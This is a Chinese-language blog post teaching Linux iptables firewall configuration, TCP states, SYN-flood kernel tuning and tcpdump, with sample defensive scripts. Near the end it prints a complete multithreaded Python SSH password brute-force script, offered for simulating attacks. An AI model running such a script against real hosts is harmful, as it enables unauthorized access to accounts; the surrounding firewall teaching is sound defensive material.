iptables(防火墙)

作者: 运维阿文 | 来源:发表于2017-09-08 09:53 被阅读105次

    iptables


    附件
    CC攻击器-邪恶十六进制2.0 模拟cc攻击
    python写的暴力破解的脚本 模拟暴力破解攻击

    linux的防火墙 iptables

    名词解释
    dip|sip source(源) destination(目的,目标)
    sport|dport

    netfilter(iptables)

    netfilter --工作在内核软件,实现数据包的过滤。
    iptables --工作应用层一个软件,用来控制netfilter。
    1.netfilter/iptables包过滤防火墙(tcp/ip四层)
    1)应用层 --通过软件为用户提供接口
    2)传输层 --提供可靠或不可靠的数据传输(TCP/UDP)使用端口来标示服务类型 sport dport
    3)网络层 --提供路由和选址(icmp) sip dip
    4)数据链路层 --传输数据帧(MAC) s _mac arp写 在局域网内泛洪 来找到我们对应的MAC
    5)物理层 --传输透明比特流 eth0 eth1
    过滤的依据: s_mac/sip/dip/sport/dport/状态(三次握手/四次断开)SYN DDOS攻击怎么防御我们DDOS 小流量
    netfilter的逻辑架构: nat 10

    image

    netfilter防火墙的元素及关系:
    netfilter==>表==>链==>规则

    三张表:

    filter 防火墙表,允许和拒绝都在这里实现
    nat 地址转换
    mangle 数据包整形

    五条链:

    INPUT 本机进站的数据流
    OUTPUT 本机出站的数据流
    FORWARD 路由的数据流
    POSTROUTING 路由后的数据流
    PREROUTING 路由前的数据流

    表跟链的对应关系:

    filter:INPUT,OUTPUT,FORWARD
    nat: OUTPUT,PREROUTING,POSTROUTING

    mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING

    四种数据流:

    本机进站的数据流:packet-->ethX-->PREROUTING-->INPUT-->本机
    本机出站的数据流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
    路由的数据流:
    出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
    回来: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
    本机访问本机: 本机-->packet-->lo-->PREROUTING-->INPUT-->本机

    本机-->packet-->OUTPUT-->POSTROUTING--lo-->本机

    表的匹配顺序:

    mangle-->nat-->filter

    防火墙规则匹配顺序:

    1.按顺序匹配,如果第一条匹配到了就直接执行这条规则的动作,不往下匹配其它规则.

    2.如果第一条匹配不到,第二条也匹配不到,继续往下匹配直到找到匹配的规则,如果找不到匹配默认规则.

    传输层:协议(tcp/udp)
    端口(sport/dport)
    网络层:
    IP地址(sip/dip/icmp) ping
    数据链路层:
    mac地址(--mac-source)
    物理层:
    从哪个网卡进来 -i eth0 eth1 服务器2个地址 外网地址 一个内网地址

    iptables操作命令

    #iptables --help
    Usage: iptables -[AD] chain rule-specification [options]
           iptables -[RI] chain rulenum rule-specification [options]
           iptables -D chain rulenum [options]
           iptables -[LFZ] [chain] [options]
           iptables -[NX] chain
           iptables -E old-chain-name new-chain-name
           iptables -P chain target [options]
           iptables -h (print this help information)
    
      --append  -A chain            追加规则
      --delete  -D chain            删除规则
      --delete  -D chain rulenum    删除指定序号的规则
                                    
      --insert  -I chain [rulenum]  插入一条规则(default 1=first) 插入会插入表的第一行
      --replace -R chain rulenum    替换一条规则
                                    
      --list    -L [chain]          显示出链或者链中的规则
      --flush   -F [chain]          在一个链或者所有链中清空规则
      --zero    -Z [chain]          清空计数
      --new     -N chain            创建用户自定义链
      --delete-chain
                -X [chain]          删除用户自定义链
      --policy  -P chain target     指定默认规则
                                    Change policy on chain to target
      --rename-chain
                -E old-chain new-chain
                                         重命名用户自定义链
    Options:
      --proto       -p [!] proto    指定协议,!代表取反
      --source      -s [!] address[/mask]   --指定源地址
                                    source specification
      --destination -d [!] address[/mask]   --指定目标地址
                                    destination specification
      --in-interface -i [!] input name[+]   --指定数据从哪个网口进来
                                    network interface name ([+] for wildcard)
      --jump        -j target                       --匹配动作
                                    target for rule (may load target extension)
      --goto      -g chain
                                  jump to chain with no return
      --match       -m match                        --扩展匹配
                                    extended match (may load extension)
      --numeric     -n              --端口和IP以数值方式显示,不作反解
      --out-interface -o [!] output name[+] --指定数据从哪个网口出去
                                    network interface name ([+] for wildcard)
      --table       -t table        --指定使用哪个表 (default: `filter')
      --verbose     -v              --显示详细信息
      --line-numbers                --显示规则的序号
      --exact       -x              expand numbers (display exact values)
    
    • 查看
    # iptables -t nat -L -n -v --line
    # iptables -t filter -L -n
    # iptables -t filter -L INPUT
    # iptables -t filter -L INPUT -v -n
    # iptables -t filter -L INPUT -n -v --line
    # watch -n 0.1 iptables -L INPUT --line -n -v
    iptables -nv -L
    
    • 追加 插入 替换 删除
    追加规则:
    # iptables -t filter -A INPUT -i lo -j ACCEPT
    
    插入规则:
    # iptables -t filter -I INPUT -i eth0 -j ACCEPT     --插入成为第一条
    # iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT       --插入成为第三条规则
    
    替换规则:
    # iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT       --替换成为指定规则
        
    删除规则:
    # iptables -t filter -D INPUT 2                 --删除指定链指定编号的规则
    
    +++++++++++
    #iptables -t filter -A INPUT -i lo -j ACCEPT
    #iptables -t filter -A OUTPUT -o lo -j ACCEPT
    #iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
    # iptables -t filter -A INPUT -i eth1 -j ACCEPT
    # iptables -L INPUT -n --line -v
    # iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT   插入默认第二条
    # iptables -t filter -I INPUT  -i eth3 -j ACCEPT    插入默认第一条
    # iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT  替换默认第一条
    #iptables -t filter -D INPUT 1                  删除默认第一条
    # iptables -t filter -F INPUT                   清空filter所有INPUT链
    #iptables -t filter -F              
    
    #iptables -L INPUT -n --line -v
    
    空规则:
        1、清空一张表
    # iptables -t filter -F
    注意不会清除默认规则
    
        2、清空一条链中的规则
    # iptables -t filter -F INPUT
    
    新建/删除用户自定义的链:
    # iptables -t filter -N uplooking   新建
    # iptables -t filter -X uplooking       删除
    # iptables -t filter -X             清空filter表中所有用户自定义链
    +++++++++
    iptables -t filter -N TCP
    iptables -t filter -N UDP
    iptables -t filter -A INPUT -i lo -j ACCEPT
    iptables -t filter -A INPUT -p tcp -j TCP
    ++++++++
    更改默认规则:
    # iptables -t filter -P INPUT ACCEPT
    # iptables -t filter -P INPUT DROP
    

    1、iptables扩展匹配

    1. iptables(user space)/netfilter(kernel space)
    2. netfilter组成(表(功能模块)/链/规则)
      filter(INPUT/OUTPUT/FORWARD) 过滤
      nat(PREROUTING/POSTROUTING/OUTPUT) 地址转换
      mangle(5个链 ) 更封装层数据包结构
      -->PREROUTING-->FORWARD-->POSTROUTING-->
      INPUT | | OUTPUT
      本机

    规则的匹原则:

    1、自上而下按顺序匹配
    2、如果匹配到某条规则,执行这个规则动作,就不往后匹配其它规则
    3、如果列表的所有的规则都匹配不到,则匹配默认规则
    iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
    ACCEPT 接受
    DROP 悄悄丢弃
    REJECT 明示拒绝
    SNAT 基于源地址的nat转换,其作用是将ip数据包的源地址转换成另外一个地址
    DNAT 目的地址转换 其作用是将ip数据包的目标地址转换成另外一个地址
    应用层
    传输层(tcp/udp/sport/doprt/ tcp6个控制位匹配)
    网络层(-s/-d/icmp)
    数据链路层(mac)
    物理层(-i/-o)

    扩展匹配

    1、通用匹配 -i -o -s -d
    -i eth0 从这块网卡流入的数据 流入一般用INPUT和PREROUING
    -o eth0 从这块网卡流出的数据 流出一般在OUTPUT和PSOTROUTING
    -s 源IP
    -d 目标IP
    2、隐含匹配 tcp udp icmp sport dport
    3、扩展匹配 -m mac | iprange | state
    -m multiport:表示启用多端口扩展 之后我们就可以启用比如 --dports 21,23,80,8080-8100, 3306
    常用的ACTION: -j
    DROP:悄悄丢弃 nmap
    一般我们多用DROP来隐藏我们的身份,以及隐藏我们的链表
    REJECT:明示拒绝
    ACCEPT:接受
    custom_chain:转向一个自定义的链
    DNAT
    SNAT
    MASQUERADE:源地址伪装 nat实验的时候
    REDIRECT:重定向:主要用于实现端口重定向
    MARK:打防火墙标记的
    RETURN:返回
    在自定义链执行完毕后使用返回,来返回原规则链。

    练习题1:

    只要是来自于172.16.85.14的都允许访问我本机的172.16.100.1的SSHD服务
    分析:首先肯定是在允许表中定义的。因为不需要做NAT地址转换之类的,然后查看我们SSHD服务,在22号端口上,处理机制是接受,对于这个表,需要有一来一回两个规则,如果我们允许也好,拒绝也好,对于访问本机服务,我们最好是定义在INPUT链上,而OUTPUT再予以定义就好。(会话的初始端先定义),所以加规则就是:
    定义进来的:
    iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
    定义出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
    将默认策略改成DROP:
    iptables -P INPUT DROP
    iptables -P OUTPUT DROP
    iptables -P FORWARD DROP

    1、允许ping 127.0.0.1 和 允许 ping 10.1.1.0/24 ,其他服务都禁止
    
    # iptables -A INPUT -p icmp -i lo -j ACCEPT
    # iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
    # iptables -A INPUT -j DROP
    
    或者
    # iptables -P INPUT DROP  《--定义默认策略,当在规则表里找不到匹配的规则就采取策略的动作
    # iptables -A INPUT -p icmp -i lo -j ACCEPT
    # iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
    
    
    
    2、只运访问本机的SSH服务(只允许远程ssh登录到本机)
    
    # iptables -P INPUT DROP
    # iptables -A INPUT -p tcp --dport 22 -j ACCEPT  <---定义端口的参数 --dport
        还有就是  
    定义源端口 --source-port  --sport
    定义目的端口 --destination-port --dport
    
    3、定义连续端口
        iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT  <---允许访问 20到100的端口
    
    
    4、定义多端口 <---引入一个“模块”的概念
        iptables -A INPUT -m multiport -p tcp --dports  22,80,110 -j ACCEPT
            -m 指定模块 
            multiport 支持多端口的扩展模块
    
    5、允许和内网的客户(10.1.1.0/24)进行传输数据(包括ping)
        iptables -P INPUT DROP
        iptables -A INPUT -p ALL -i eth0  -s 10.1.1.0/24 -j ACCEPT
    
    6、决绝访问色情网站www.baidu.com
        iptables -A OUTPUT -d www.baidu.com  -j DROP
    
    7、通过硬件地址进行过滤
        -m  mac  --mac-source [!] address
        iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
        
        注意REJECT 和 DROP 区别
    
        
    8、定义连续的IP地址
        iptables -A INPUT  -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP
    
    9、对外只开放web服务,其他一切不放行,不允许进来也不允许出去
    # iptables -P OUTPUT DROP
    # iptables -P INPUT DROP
    # iptables -A INPUT -p tcp --dport 80 -j ACCEPT  <--tcpdump tcp port 80 只看到进来的,没有出去的
    # iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT
    
    10、综合应用:
        本机需要开放的服务有: ssh(22) 、 web(80) 、 ftp(21 20) 、 DNS(53) 、pop3(110)、pop3s(995)、IMAP(143)、IMAPS(993)、smtp(25)等服务。
        其中web 、ftp、pop3、pop3s、IMAP、IMAPS 允许所有网络的人访问;
        ssh 只允许本地局域网中的某个MAC地址访问
        只允许本地局域网的用户发送邮件
        只允许本地局域网的用户查询DNS
    
    
    # modprobe ip_conntrack_ftp
    # iptables -P INPUT DROP
    # iptables -P OUTPUT DROP
    # iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    # iptables -A INPUT -i lo -j ACCEPT
    # iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
    # iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
    # iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
    # iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
    # iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT
    

    练习题icmp:

    icmp:0 8
    0:应答请求
    8:ping请求
    icmp对照表
    假如我们允许自己ping别人,但是别人ping自己ping不通如何实现呢?
    分析:对于ping这个协议,进来的为8(ping),出去的为0(响应).我们为了达到目的,需要8出去,允许0进来

    在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
    在进来的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
    iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
    iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
    iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP  
    iptables -A INPUT -p icmp --icmp-type 8 -j DROP  
    小扩展:对于127.0.0.1比较特殊,我们需要明确定义它  
    iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
    iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
    /lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模块的位置  
    -m connlimit:每个IP的并发连接数(TCP) --关注的是新发起的连接(NEW --syn)  
    mount -o loop rhel55.iso /mnt  
    rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm  
    iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP  
    iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT  
    -m icmp:ping包请求与发送  
    [root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT  
    [root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT  
    [root@ ~]# iptables -A INPUT -p icmp -j DROP  
    [root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==&gt; 0 相当于 echo-reply  
    [root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==&gt; 8 相当于 echo-request  
    -m ipranges:IP范围  
    [!] --src-range ip-ip Match source IP in the specified range  
    [!] --dst-range ip-ip Match destination IP in the specified range  
    [root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT  
    [root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP  
    -m limit:速率限制  
    [root@ ~]# watch iptables -L INPUT -nv  
    [root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT  
    [root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP  
    -m mac:匹配源地址的 MAC 地址  
    [root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP  
    -m multiport:多端口  
    [root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP  
    -m state(NEW/ESTABLISHED/RELATED/INVALID):  
    NEW --第一个数包,跟TCP状态无关  
    ESTABLISHED --第二个数据包  
    RELATED --已经发生关系的数据(FTP)  
    INVALID --无效数据包  
    

    个人简单的防火墙(状态):

    ESTABLISHED 不允许其他主机发起的主动访问,只允许本地主机主动发起的发功能文以及lo通讯
    [root@stu110 ~]# iptables -P INPUT DROP
    [root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
    [root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    [root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
    [root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    RELATED:已发生关系的
    (1)vsftpd数据传输(考虑模式,默认是主动模式)

    主动模式:

    21 --控制端口
    20 --数据端口

    被动模式:

    21 --控制端口
    1024+ --数据端口
    [root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模块的支持,内核才能支持 RELATED状态
    [root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
    [root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
    被动模式/主动:
    service vsftpd start
    iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
    iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    modproble ip_conntrack_ftp --加载FTP状态自动跟踪模块,它可以完成自动切换端口
    -m string:字符串内容进行匹配(局限大,效率低,不太用)
    [root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
    -m time:时间限制
    [root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
    [root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
    [root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP


    抓包命令
    tcpdump port 80 -nn -v -S
    tcpdump port 80 -nn -v -S
    位码即tcp标志位,有6种标示:

    SYN(synchronous建立联机)

    ACK(acknowledgement 确认)

    PSH(push传送)

    FIN(finish结束)

    RST(reset重置)

    URG(urgent紧急)

    Sequence number(顺序号码)

    Acknowledge number(确认号码)
    三次握手状态意义:
    LISTEN - 侦听来自远方TCP端口的连接请求;
    SYN-SENT -在发送连接请求后等待匹配的连接请求;
    SYN-RECEIVED - 在收到和发送一个连接请求后等待对连接请求的确认;
    ESTABLISHED- 代表一个打开的连接,数据可以传送给用户;
    FIN-WAIT-1 - 等待远程TCP的连接中断请求,或先前的连接中断请求的确认;
    FIN-WAIT-2 - 从远程TCP等待连接中断请求;
    CLOSE-WAIT - 等待从本地用户发来的连接中断请求;
    CLOSING -等待远程TCP对连接中断的确认;
    LAST-ACK - 等待原来发向远程TCP的连接中断请求的确认;
    TIME-WAIT -等待足够的时间以确保远程TCP接收到连接中断请求的确认;
    CLOSED - 没有任何连接状态;
    TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接,如图1所示。

    (1)第一次握手:建立连接时,客户端A发送SYN包(SYN=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。

    (2)第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK=j+1),同时自己也发送一个SYN包(SYN=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。

    (3)第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。

    完成三次握手,客户端与服务器开始传送数据。


    四次挥手是断开连接
    由于TCP连接是全双工的,因此每个方向都必须单独进行关闭。这个原则是当一方完成它的数据发送任务后就能发送一个FIN来终止这个方向的连接。收到一个 FIN只意味着这一方向上没有数据流动,一个TCP连接在收到一个FIN后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。

    CP的连接的拆除需要发送四个包,因此称为四次挥手(four-way handshake)。客户端或服务器均可主动发起挥手动作,在socket编程中,任何一方执行close()操作即可产生挥手操作。

    (1)客户端A发送一个FIN,用来关闭客户A到服务器B的数据传送。

    (2)服务器B收到这个FIN,它发回一个ACK,确认序号为收到的序号加1。和SYN一样,一个FIN将占用一个序号。

    (3)服务器B关闭与客户端A的连接,发送一个FIN给客户端A。

    (4)客户端A发回ACK报文确认,并将确认序号设置为收到序号加1。

    1. 为何主机A在发送了最后的确认后没有进入CLOSED状态,反而进入了一个2MSL的TIME-WAIT。主要作用有两个:第一,确保主机A最后发送的确认能够到达主机B。如果处于LAST-ACK状态的主机B一直收不到来自主机A的确认,它会重传断开连接请求,然后主机A就可以有足够的时间去再次发送确认。但是这也只能尽最大力量来确保能够正常断开,如果主机A的确认总是在网络中滞留失效,从而超过了2MSL,最后也无法正常断开;第二,如果主机A在发送了确认之后立即进入CLOSED状态。假设之后主机A再次向主机B发送一条连接请求,而这条连接请求比之前的确认报文更早地到达主机B,则会使得主机B以为这条连接请求是在旧的连接中A发出的报文,并不看成是一条新的连接请求了,即使得这个连接请求失效了,增加2MSL的时间可以使得这个失效的连接请求报文作废,这样才不影响下次新的连接请求中出现失效的连接请求。
    2. 在下面的抓包实验中,为什么断开连接请求报文只有三个,而不是四个。因为在TCP连接过程中,确认的发送有一个延时(即经受延时的确认),一端在发送确认的时候将等待一段时间,如果自己在这段事件内也有数据要发送,就跟确认一起发送,如果没有,则确认单独发送。而我们的抓包实验中,由服务器端先断开连接,之后客户端在确认的延迟时间内,也有请求断开连接需要发送,于是就与上次确认一起发送,因此就只有三个数据报了。

    DDOS原理,及轻量级别攻击的防止

    # vim /etc/sysctl.conf

    net.ipv4.tcp_max_syn_backlog = 8096 --超过最大连接数后产生新syn队列的长度
    net.ipv4.tcp_synack_retries = 2 --syn确认的重试次数
    net.ipv4.ip_local_port_range = 1024 65535--表示用于向外连接的端口范围。缺省情况下很小:32768到61000,改为1024到65000。
    net.ipv4.tcp_syncookies = 1 --表示开启SYNCookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;
    net.ipv4.tcp_tw_reuse = 1 --表示开启重用。允许将TIME-WAITsockets重新用于新的TCP连接,默认为0,表示关闭;
    net.ipv4.tcp_tw_recycle = 1 --表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。
    net.ipv4.tcp_max_tw_buckets=5000--表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数字,TIME_WAIT套接字将立刻被清除并打印警告信息。默认为180000,改为5000。
    sysctl -p
    1、通过iptables防止轻量级别的DDOS
    -m limit
    -m connlimit
    2、DDOS的原理,三次握手(客户端第三次不回应服务端)
    3、通过内核增大TCP缓冲区,支持更多的连接。
    4、增加更强大的硬件防火墙,用于丢弃(过滤)掉不正常syn请求,搭建负载均衡集群,另外保证你的外网有足够大的带宽
    第一种 一

    从哪个网卡出去 -o

    传输层:协议(tcp/udp)
    端口(sport /dport)
    网络层:
    IP地址(sip /dip /icmp) ping
    数据链路层:
    mac地址(--mac-source)
    物理层:
    从哪个网卡进来 -i eth0 eth1 服务器2个地址 外网地址 一个内网地址
    从哪个网卡出去 -o

    iptables防御cc攻击脚本

    #!/bin/sh
    drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
    if test -n $drop_ip;then
    for i in $drop_ip
    do
    if [ -z "`iptables -nvL |grep $i`" ];then
    /sbin/iptables -I INPUT -s $i -j DROP
    fi
    done
    fi
    

    iptable通用脚本

    #!/bin/bash
    
    # Descript:The Firewall Script.
    
    iptables -F INPUT
    iptables -F OUTPUT
    iptables -P INPUT DROP
    iptables -P OUTPUT ACCEPT
    iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
    iptables -A INPUT -i lo -j ACCEPT
    iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT  
    iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
    iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
    iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
    iptables -I INPUT -s 8.8.8.8 -j ACCEPT
    iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
    iptables -A INPUT -p icmp -j ACCEPT
    iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
    
    • 使用python多线程暴力破解linux密码
    #!/bin/python
    import optparse  
    import time  
    from threading import *  
    from pexpect import pxssh  
      
    maxConnections = 100 
    connection_lock = BoundedSemaphore(value=maxConnections)  
      
    Found = False  
    Fails = 0  
      
    def connect(host, user, password, release):  
        global Found  
        global Fails  
      
        try:  
            s = pxssh.pxssh()  
            s.login(host, user, password)  
            print '[+] Password Found: ' + password  
            Found = True  
        except Exception, e:  
            if 'read_nonblocking' in str(e):  
                Fails += 1  
                time.sleep(5)  
                connect(host, user, password, False)  
            elif 'synchronize with original prompt' in str(e):  
                time.sleep(1)  
                connect(host, user, password, False)  
      
        finally:  
            if release: connection_lock.release()  
      
    def main():  
        parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'  
                                  )  
        parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')  
        parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')  
        parser.add_option('-u', dest='user', type='string', help='specify the user')  
      
        (options, args) = parser.parse_args()  
        host = options.tgtHost  
        passwdFile = options.passwdFile  
        user = options.user  
      
        if host == None or passwdFile == None or user == None:  
            print parser.usage  
            exit(0)  
              
        fn = open(passwdFile, 'r')  
        for line in fn.readlines():  
            if Found:  
                print "[*] Exiting: Password Found"  
                exit(0)  
            if Fails > 5:  
                print "[!] Exiting: Too Many Socket Timeouts"  
                exit(0)  
      
            connection_lock.acquire()  
            password = line.strip('\r').strip('\n')  
            print "[-] Testing: "+str(password)  
            t = Thread(target=connect, args=(host, user, password, True))  
            child = t.start()  
      
    if __name__ == '__main__':  
        main()  
    
    

    tcpdump 抓包工具

    1)tcpdump(传输/网络层)

    tcpdump -i eth0

    tcpdump -i eth0 -vnn

    -v:显示包含有TTL,TOS值等等更详细的信息

    -n:不要做IP解析为主机名

    -nn:不做名字解析和端口解析

    更有针对性的抓包:

    针对IP,网段,端口,协议

    tcpdump -n -i eth0 -vnn host 192.168.0.154 --主机地址里边只要包含地址有:192.168.0.154

    tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一个网段数据包

    tcpdump -i eth0 -vnn port 22

    tcpdump -i eth0 -vnn udp

    tcpdump -i eth0 -vnn icmp ping

    tcpdump -i eth0 -vnn arp



    $x = y$$x = y$ # tcpdump -i eth0 -vnn ip

    tcpdump -n -i eth0 -vnn src host 192.168.0.154

    tcpdump -i eth0 -vnn dst host 192.168.0.154

    tcpdump -i eth0 -vnn src port 22

    tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22

    tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22

    tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22

    抓包最主要的功能在于调试,比如在调试某个服务的时候 明明服务起来了 但是不知道为什么链接不上 可以通过抓包工具来测试看看请求包有没有过来服务器,来判断是传输过程中失败了 还是被服务器拒绝了

    相关文章

      网友评论

        本文标题:iptables(防火墙)

        本文链接:https://www.haomeiwen.com/subject/jvkgjxtx.html